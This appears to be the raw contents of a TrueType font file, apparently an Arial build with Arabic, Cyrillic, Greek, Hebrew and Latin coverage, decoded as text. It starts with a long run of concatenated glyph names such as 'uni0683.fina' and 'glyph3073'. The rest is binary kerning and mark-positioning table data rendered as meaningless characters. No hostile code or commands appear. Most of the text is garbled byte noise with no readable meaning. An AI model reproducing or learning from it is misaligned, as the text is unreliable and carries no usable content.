uni0683.fina uni0683.init uni0683.mediuni0684 uni0684.fina uni0684.init uni0684.mediuni0685 uni0685.fina uni0685.init uni0685.mediuni0687 uni0687.fina uni0687.init uni0687.mediuni0688 uni0688.finauni0689 uni0689.finauni068A uni068A.finauni068B uni068B.finauni068C uni068C.finauni068D uni068D.finauni068E uni068E.finauni068F uni068F.finauni0690 uni0690.finauni0691 uni0691.finauni0692 uni0692.finauni0693 uni0693.finauni0694 uni0694.finauni0695 uni0695.finauni0696 uni0696.finauni0697 uni0697.finauni0699 uni0699.finauni069A uni069A.fina uni069A.init uni069A.mediuni069B uni069B.fina uni069B.init uni069B.mediuni069C uni069C.fina uni069C.init uni069C.mediuni069D uni069D.fina uni069D.init uni069D.mediuni069E uni069E.fina uni069E.init uni069E.mediuni069F uni069F.finauni06A0 uni06A0.fina uni06A0.init uni06A0.mediuni06A1uni06A2 uni06A2.fina uni06A2.init uni06A2.mediuni06A3 uni06A3.fina uni06A3.init uni06A3.mediuni06A4 uni06A4.fina uni06A4.init uni06A4.mediuni06A5 uni06A5.fina uni06A5.init uni06A5.mediuni06A6 uni06A6.fina uni06A6.init uni06A6.mediuni06A7 uni06A7.finauni06A8 uni06A8.finauni06AA uni06AA.fina uni06AA.init uni06AA.mediuni06AB uni06AB.fina uni06AB.init uni06AB.mediuni06AC uni06AC.fina uni06AC.init uni06AC.mediuni06AD uni06AD.fina uni06AD.init uni06AD.mediuni06AE uni06AE.fina uni06AE.init uni06AE.mediuni06B0 uni06B0.fina uni06B0.init uni06B0.mediuni06B1 uni06B1.fina uni06B1.init uni06B1.mediuni06B2 uni06B2.fina uni06B2.init uni06B2.mediuni06B3 uni06B3.fina uni06B3.init uni06B3.mediuni06B4 uni06B4.fina uni06B4.init uni06B4.mediuni06B5 uni06B5.fina uni06B5.init uni06B5.mediuni06B6 uni06B6.fina uni06B6.init uni06B6.mediuni06B7 uni06B7.fina uni06B7.init uni06B7.mediuni06B8 uni06B8.fina uni06B8.init uni06B8.mediuni06B9 uni06B9.fina uni06B9.init uni06B9.mediuni06BA uni06BA.finauni06BB uni06BB.finauni06BC uni06BC.fina uni06BC.init uni06BC.mediuni06BD uni06BD.finauni06BF uni06BF.fina uni06BF.init uni06BF.mediuni06C0 uni06C0.fina uni06C1.fina uni06C2.fina uni06C3.finauni06C4 uni06C4.finauni06C5 uni06C5.finauni06C6 uni06C6.finauni06C7 uni06C7.finauni06C8 uni06C8.finauni06C9 uni06C9.finauni06CA uni06CA.finauni06CB uni06CB.finauni06CD uni06CD.finauni06CE uni06CE.fina uni06CE.init uni06CE.mediuni06CF uni06CF.finauni06D0 uni06D0.finauniFBE6uniFBE7uni06D1 uni06D1.finauni06D2 uni06D2.finauni06D3 uni06D3.finauni06D4uni06D6uni06D7uni06D8uni06D9uni06DAuni06DBuni06DCuni06DDuni06DEuni06DFuni06E0uni06E1uni06E2uni06E3uni06E4uni06E5uni06E6uni06E7uni06E8uni06E9uni06EAuni06EBuni06EDuni06FA uni06FA.fina uni06FA.init uni06FA.mediuni06FB uni06FB.fina uni06FB.init uni06FB.mediuni06FC uni06FC.fina uni06FC.init uni06FC.mediuni06FDuni06FEuniFBA6 uni06C1.init uni06C1.medi glyph1645 glyph1646 glyph1647 glyph1648 glyph1649uni06AD.moroccouni06AD.finamoroccouniFB1DuniFB1E patah.wideuniFB1Funi06440672.isoluni06440672.finauni06440673.isoluni06440673.finauni06440675.isoluni06440675.finauni06B50627.isoluni06B50627.finauni06B60627.isoluni06B60627.finauni06B70627.isoluni06B70627.finauni06B80627.isoluni06B80627.fina uni06F4.urdu uni06F7.urduuni06440671.isoluni06440671.finauni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019Funi01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01DDuni01DEuni01DFuni03070304.capuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5uni01E6uni01E7uni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9uni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217 Scommaaccent scommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni03030304.capuni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02CAuni02CBuni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D4uni02D5uni02D6uni02D7uni02DEuni02DFuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02EAuni02EBuni02ECuni02EDuni02EEuni02E502E502E6uni02E502E502E7uni02E502E502E8uni02E502E502E9uni02E502E602E5uni02E502E602E6uni02E502E602E7uni02E502E602E8uni02E502E602E9 uni02E502E6uni02E502E702E5uni02E502E702E6uni02E502E702E7uni02E502E702E8uni02E502E702E9 uni02E502E7uni02E502E802E5uni02E502E802E6uni02E502E802E7uni02E502E802E8uni02E502E802E9 uni02E502E8uni02E502E902E5uni02E502E902E6uni02E502E902E7uni02E502E902E8uni02E502E902E9 uni02E502E9uni02E602E502E5uni02E602E502E6uni02E602E502E7uni02E602E502E8uni02E602E502E9 uni02E602E5uni02E602E602E5uni02E602E602E7uni02E602E602E8uni02E602E602E9uni02E602E702E5uni02E602E702E6uni02E602E702E7uni02E602E702E8uni02E602E702E9 uni02E602E7uni02E602E802E5uni02E602E802E6uni02E602E802E7uni02E602E802E8uni02E602E802E9 uni02E602E8uni02E602E902E5uni02E602E902E6uni02E602E902E7uni02E602E902E8uni02E602E902E9 uni02E602E9uni02E702E502E5uni02E702E502E6uni02E702E502E7uni02E702E502E8uni02E702E502E9 uni02E702E5uni02E702E602E5uni02E702E602E6uni02E702E602E7uni02E702E602E8uni02E702E602E9 uni02E702E6uni02E702E702E5uni02E702E702E6uni02E702E702E8uni02E702E702E9uni02E702E802E5uni02E702E802E6uni02E702E802E7uni02E702E802E8uni02E702E802E9 uni02E702E8uni02E702E902E5uni02E702E902E6uni02E702E902E7uni02E702E902E8uni02E702E902E9 uni02E702E9uni02E802E502E5uni02E802E502E6uni02E802E502E7uni02E802E502E8uni02E802E502E9 uni02E802E5uni02E802E602E5uni02E802E602E6uni02E802E602E7uni02E802E602E8uni02E802E602E9 uni02E802E6uni02E802E702E5uni02E802E702E6uni02E802E702E7uni02E802E702E8uni02E802E702E9 uni02E802E7uni02E802E802E5uni02E802E802E6uni02E802E802E7uni02E802E802E9uni02E802E902E5uni02E802E902E6uni02E802E902E7uni02E802E902E8uni02E802E902E9 uni02E802E9uni02E902E502E5uni02E902E502E6uni02E902E502E7uni02E902E502E8uni02E902E502E9 uni02E902E5uni02E902E602E5uni02E902E602E6uni02E902E602E7uni02E902E602E8uni02E902E602E9 uni02E902E6uni02E902E702E5uni02E902E702E6uni02E902E702E7uni02E902E702E8uni02E902E702E9 uni02E902E7uni02E902E802E5uni02E902E802E6uni02E902E802E7uni02E902E802E8uni02E902E802E9 uni02E902E8uni02E902E902E5uni02E902E902E6uni02E902E902E7uni02E902E902E8uni0302uni0304uni0305uni0306uni0307uni0308uni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322uni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0340uni0341uni0342uni0343uni0344uni0345uni0346uni0347uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0360uni0361uni0362uni0363uni0364uni0365uni0366uni0367uni0368uni0369uni036Auni036Buni036Cuni036Duni036Euni036Funi0374uni0375uni037Auni03D0uni03D1uni03D2uni03D3uni03D4uni03D5uni03D6uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03E2uni03E3uni03E4uni03E5uni03E6uni03E7uni03E8uni03E9uni03EAuni03EBuni03ECuni03EDuni03EEuni03EFuni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni0400uni040Duni0450uni045Duni0460uni0461uni0462uni0463uni0464uni0465uni0466uni0467uni0468uni0469uni046Auni046Buni046Cuni046Duni046Euni046Funi0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni0478uni0479uni047Auni047Buni047Cuni047Dcyrillic_otmarkuni047Euni047Funi0480uni0481uni0482uni0483uni0484uni0485uni0486uni0488uni0489uni048Auni048Buni048Cuni048Duni048Euni048Funi0494uni0495uni0498uni0499uni049Euni049Funi04A0uni04A1uni04A4uni04A5uni04A6uni04A7uni04A8uni04A9uni04AAuni04ABuni04ACuni04ADuni04B4uni04B5uni04B6uni04B7uni04BCuni04BDuni04BEuni04BFuni04C0uni04C1uni04C2uni04C3uni04C4uni04C5uni04C6uni04C7uni04C8uni04C9uni04CAuni04CBuni04CCuni04CDuni04CE glyph2340uni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F8uni04F9uni0500uni0501uni0502uni0503uni0504uni0505uni0506uni0507uni0508uni0509uni050Auni050Buni050Cuni050Duni050Euni050Funi0591uni0592uni0593uni0594uni0595uni0596uni0597uni0598uni0599uni059Auni059Buni059Cuni059Duni059Euni059Funi05A0uni05A1uni05A3uni05A4uni05A5uni05A6uni05A7uni05A8uni05A9uni05AAuni05ABuni05ACuni05ADuni05AEuni05AFuni05C4uni03040300.capuni03040301.capuni03030301.capuni03030308.capuni03010307.capuni030C0307.capuni03040308.capuni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7Funi1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni20A0uni20A1uni20A2uni20A5uni20A6uni20A8uni20A9uni20ADuni20AEuni20AFuni266Funi25CCuniFE20uniFE21uniFE22uniFE23 bari.dotless j.dotlessuni20B0uni20B1uni0221uni0234uni0235uni0236uni02AEuni02AFuni02EFuni02F0uni02F1uni02F2uni02F3uni02F4uni02F5uni02F6uni02F7uni02F8uni02F9uni02FAuni02FBuni02FCuni02FDuni02FEuni02FFuni0350uni0351uni0352uni0353uni0354uni0355uni0356uni0357uni035Duni035Euni035Funi03F7uni03F8uni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D15uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D24uni1D25uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D2Funi1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Cuni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni0600uni0601uni0602uni0603uni060Euni060Duni060Funi0610uni0611uni0612uni0613uni0614uni0656uni0657uni0658 glyph2292uni06EE uni06EE.finauni06EF uni06EF.finauni06FF uni06FF.fina uni06FF.init uni06FF.mediuniFB21uniFB22uniFB23uniFB24uniFB25uniFB26uniFB27uniFB28uniFB29 uni05B105BD uni05B205BD uni05B305BDuni2012uni201Funi2034 glyph3016 glyph3017 glyph3018 glyph3019allahriyaluni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni2117uni03F9uni03FAuni03FBuni1D6Buni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0358uni0359uni035Auni035Buni035Cuni03FCuni03FDuni03FEuni03FFuni04F6uni04F7uni05A2uni05BAuni05C5uni05C6uni05C7uni060Buni061Euni0659uni065Auni065Buni065Cuni065Duni065E glyph3073uni0750 glyph3075 glyph3076 glyph3077uni0751 glyph3079 glyph3080 glyph3081uni0752 glyph3083 glyph3084 glyph3085uni0753 glyph3087 glyph3088 glyph3089uni0754 glyph3091 glyph3092 glyph3093uni0755 glyph3095 glyph3096 glyph3097uni0756 glyph3099 glyph3100 glyph3101uni0757 glyph3103 glyph3104 glyph3105uni0758 glyph3107 glyph3108 glyph3109uni0759 glyph3111uni075A glyph3113uni075B glyph3115uni075C glyph3117 glyph3118 glyph3119uni075D glyph3121 glyph3122 glyph3123uni075E glyph3125 glyph3126 glyph3127uni075F glyph3129 glyph3130 glyph3131uni0760 glyph3133 glyph3134 glyph3135uni0761 glyph3137 glyph3138 glyph3139uni0762 glyph3141 glyph3142 glyph3143uni0763 glyph3145 glyph3146 glyph3147uni0764 glyph3149 glyph3150 glyph3151uni0765 glyph3153 glyph3154 glyph3155uni0766 glyph3157 glyph3158 glyph3159uni0767 glyph3161 glyph3162 glyph3163uni0768 glyph3165 glyph3166 glyph3167uni0769 glyph3169 glyph3170 glyph3171uni076A glyph3173 glyph3174 glyph3175uni076B glyph3177uni076C glyph3179uni076D glyph3181 glyph3182 glyph3183uni1D6Cuni1D6Duni1D6Euni1D6Funi1D70uni1D71uni1D72uni1D73uni1D74uni1D75uni1D76uni1D77uni1D78uni1D79uni1D7Auni1D7Buni1D7Cuni1D7Duni1D7Euni1D7Funi1D80uni1D81uni1D82uni1D83uni1D84uni1D85uni1D86uni1D87uni1D88uni1D89uni1D8Auni1D8Buni1D8Cuni1D8Duni1D8Euni1D8Funi1D90uni1D91uni1D92uni1D93uni1D94uni1D95uni1D96uni1D97uni1D98uni1D99uni1D9Auni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC0uni1DC1uni1DC2uni1DC3uni205Euni2090uni2091uni2092uni2093uni2094uni20B2uni20B3uni20B4uni20B5uni2E17 glyph3283 glyph3284 glyph3285 glyph3286 glyph3287 glyph3288 glyph3289 glyph3290 glyph3291 glyph3292 glyph3293 glyph3294 glyph3295 glyph3296 glyph3297 glyph3298 glyph3299 glyph3300 glyph3301 glyph3302 glyph3303 glyph3304 glyph3305 glyph3306 glyph3307 glyph3308 glyph3309 glyph3310 glyph3311 glyph3312 glyph3313 glyph3314uni076A0627.isoluni076A0627.finauni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi037Buni037Cuni037Duni04CFuni04FAuni04FBuni04FCuni04FDuni04FEuni04FFuni0510uni0511uni0512uni0513uni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1DCAuni1DFEuni1DFFuni214Duni214Euni2184uni2C60uni2C61uni2C62uni2C63uni2C64uni2C65uni2C66uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C74uni2C75uni2C76uni2C77uniA717uniA718uniA719uniA71AuniA720uniA721 glyph3380 glyph3381 glyph3382 glyph3383 glyph3384 glyph3385 glyph3386 glyph3387 glyph3388 glyph3389 glyph3390 glyph3391 glyph3392 glyph3393uni0487uni051Auni051Buni051Cuni051Duni1E9Euni20F0uni2C6Duni2C71uni2C72uni2C73uniA789uniA78AuniA78BuniA78CuniA71BuniA71CuniA71DuniA71EuniA71FuniA788M"9&@M Arial ?ARLR00@ PFGKL~sttuyzz{234578;<DEKLMNSTUVWXXY[\tuuvwxAB|}~ X Y w x    ( ) 3 4                        V!ttzzBRTWXXZ^acfpvyz|  ) + , / 0 0              arab cyrl>grekNhebr^latnj URD     LTH   kernhkernnkerntkernzmarkmarkmarkmarkmarkmarkmarkmkmkmkmkmkmkmkmkmkmkmkmk    )T\dlt| (6DLT\r0h !"679.: GHIQ Q_|acdrdde.gi.iBiVijjjjjll(lnvobp<qq*q@qVqlqqq uuuuuvvv0vDvXvlvvw@wfwnxHyz|f|n|pi 2@^p4r| JpvXr2 jpBX^d:  2 @ f 4 L n  D V 0 B p 2t",J $7<  h 7h9h:DAE-HIKL`MNQ`WZlmnw-:AHKLMNOQTWYem:>@AEHKLwMNOQTY^flmoqyww:w>wAEFHKYZ\^w_wbefghwjmwuvxywMNQaDhm-Ak AHKLM-T-Z_hmEHKLMNQYAHKMNN[m NQZ_hkmqw :>@EMOQY^eo}}:w>w@AEFHKLMNOYZ^`_hwy:>AEFHLMOQTWZ`-q:>@AEHNYZ\_bdefh`ijkmosuvxy&:w>AEHNWY[\]^`_w`abcdewfghwijkwoprsxyw:>ELMQYeAHKNWhmHZ-Zm-wY`:>@AEFHKL3OQ`WY >@AEOY^`efy :>@EHKLOQ^efalmqZ^_`aefkmnoqtwyZ[^_`aefhklmnqty Z^_aehkytw [^`aelmoq[mqt- [^_aehkmnqt Z-[-_aehklmwhq[am^`aelmoq^aelmoqy`hqw Z^_`Dehkm33Z[^_`efhjknwy[^elmqy Z[_ahklnq_ahk_hml`qw^_aehloy^`efloq33`` .13 "&+5$$))//3355779:<< II UU YZ \\+-//23! "  &()*+!-$$0&&1))2++3..4455:A7DF?HHBJPCSTJVXLZaOdfWhhZjp[ssbvxcfghd 4uuwuuwuuuuuuuuvpuuuwuuuvv vvvv"v(v.v4wv:v@v"wv(xvFvLvRvXv^xvdvjzzzzzzauwBw xuwZkfwluwxuwxvw~vwuwvdxuwvjxvwvwuwHuwHuwHl8wHvx\uwNuwNvwvwuw`uwHuwHuwZkflvwfvwfuwZuw`uwZuw`uwxuwxvwuwxuwxvwfuwxuwxv wfvwZuwZvwv wv(wuwv(wuwuwuwuwuwuwuwvwvwuwuwv.wv4wv@wv@wv(wvXxvXxvLxvXxvXxuwvdxkfx&kfx&vx2vx2vx>uwZvwuw`vwfuwfvxvxDvx\vwvwvxbvxhkfluwZkfw`vxvxv(xuwHl8wHl8wHl8wHuwTuwNuwHuwHvx\vx\vwvwuwZuw`uwZuw`uw`kfwluwfuluwZuw`uwZuw`uw`kfwluwxuwxv wfuwxuwxvwfuwxuwxvwuwxuwxvw~uwxuwxvwfuwxuwxvw~vwZvwvwvwuwZvwvwZvwZvwZv"wv wvwvwvwvwv wvwv(wkfwv(wkfwv(wuwuwuwuwuwuwv:wv.wvFwvFwv(wv(wvxvxv(xvXxvXxv(wxxxxv(wvxvxv(wxxxxvLxvRxv4wuxuwvdxvFwvjxv^wvjxuwvdxuwvjxuwvpxuxvjx uwvjxuwvpxvvx&vx2vx2vvx&vx2vx2v|x&vx2vx2kfx,vx8vx8vwxuwrvwvwvwxulvwuwxuwxv wvwfvdwfuxJuxJuxJvx\vx\vx\vx\vx\vx\vx\vx\vwvwvwvwulvx\vxnvw~vxtvxzvwwxwwwxv(wuwuwuwv.wv4wv@wv@wvx>vxPuxVuwuwuwz0wZvx>uxvz6ulzC\\^^``bbdgii kl rs                  !  "  #  $  %  &  ' " $* & &- ( (. * */ , ,0 . .1 0 <2 > @? B PB R RQ T TR V VS X XT Z ZU \ \V ^ ^W ` `X b bY d dZ f h[ j j^ l l_ n n`8~ 4jdjjljpjvlj|jjjjjjjk0jjjljjjjjjjjjjjjljkjljlkk kkklk$k*onotozooo8FPZdnx"4FP_`*_`0_`6_________~____t____j__p__`__f__V__\__L__R__B__N__8__D__.__4__$__*___n_ _t__p__v__Z_ _`__\__b_ _F^_L__H^_N^_2^_8^_4^_:^_H^_$^_D^_&^_R^_X^_^^_L^_R^_X^_^^_d^^^^m^^m GK 348;EKNSVW!Y[# & .x   ,gggggggggggghhhh hhhh$h*h0h6h<hBhHhNhThZh`hBhHhfhlhrhxh~hhlllll,^0^6^0^<^0^Bl^N^T^^$^*^^l^H^r^Z^`^x^~^f^^~^^^^^^^^^^^^^^^^lRlXl^^^GK34 89;;EKNQSSVWZZ % ' *GK34 89;;EKNQSSVWZZ % ' *@t .hhh$h*h0h6h<j]|]]]]]]k::RRYY[[  ::RRYY[[  R lmmmm"m(m.m4m:m(m@mFmLm(mRmRmXm:m^mdmdmdm| llmjllll$$li*  006l<BHNi*mRmRmpmvm|m m(BllmmmvTlmmmmmmmmmmmmmmmmmmmm^gdddmggmmmgmmmmmmmgmg[|ȄyPz[~yVzy\~ƄyV~̄ybzyhzyn~҄ytyyhzyz~؄y~ބyh~ybzyV~Ƅyzy\~Ƅy\zyP~ƅyh~y\~[}yzy\~y~y~ y~؅ yzp yz&[,y{2y8y~؅&y|n>y|nDy~؅&y}JyPy&y [8y Vy&>[,\y2by&y8hynyhy>t[DzyJyP[~zVz \zbz hy y y y y zX yzpy…,y…,y…,y…,z^ȅbzd΅2ynԅynڄ[&zj zj zj zj zj y셰y&zj&y&y,znybtzpzvyfzzz"zzzz|[ phz(Vzzz.Vz(Vz4z:z@zFzLzLzLzRzRzRz}y|ȅyyzzhzVy…yV~Ƅyzz|yVyz["z:([~ƅ[zpz.[ڀ4 z.z4 [~Ɔ z:yz@z>zzzyVzzրFzĀLz܀R[ zXz^Jzdy[Jz~؅yzJzR [… p zj zpyv z z^|"z {Ԇ(zV.\{~4{ :{V{ @{ {,{ yȀ,zVF{$zVF{*[{0f{6z".{< {B yj {Hyj {Ny,zRzj,{T{Z,{`p{fL{l ["LybĆR{rL{x {~ʅ&{ĄyЅ&{~${քz@܄{Ԅz@{ڄ{zfy|X{^{d{Ćjy[p{&yz~؆y|v{Ć|yڀL[~y8Lz {{~|삪,{ć} {~}{~z|>ph .[||"zLzj,{"y,[$[>,y* {Ą{~䄺z0{6{<&{B{H|N yVB.ybT[ZyP<,[[`yPfFyVl|r{x|~yy|}j|{f&y{0"z|| yhĆ|&yby|,&[yPL{y~Ƅ[,h|2~ƅ|8zp{ yyz~䄮yyhyz~|T[~|>zj{~[>yV~{~ƅyȁ&|("[(}..}44}::}@@}FF}yB}LL}RR}ăXX[΁,}ʃ^^}dybyL{`dy"L}"}փjbyb|R[zLpRzjzʃvjyȃ|Ly΃p}܃.}4v}:|}["L[yV~Ɖzʃ"[ }zph[zʃy,{ރy,|{|{ȇ{{f zLy,zʃ}􃬉z(y>{Ty,{y,yz{ |y|Ȇp}&}.~&[z~z||ȅ,{~[>ph [{~[zLzj,~ \|&y|DyP,|J>[> |Pzy,[΁ƅ,[΁̅,|V҇|J҇ |J> |\>zfyBLyކLy> |b[[LyP,yPyyJ|h|J|h|J|nyP$|nyP$yz*yPꆬ|t0|t6|t<|&p|Dp[΁,y |z|{|\^y>,[΀yT|ny\Z|yhgD|yyzg||`y|gyޅ&\ |\>|\&y,n|P|{[>[>fylyl||^{f|ȅ,|yb^yڂrybt|\2yx|8,y~|[gyf|V>[L|[^zjЅ,|DzJ|P|8|‚Vp|Ȃ\|Ȃbybh[nz|΁||Ȉ[~}z{~؅,}z}"~؈yzzy~؈phz{fzyz 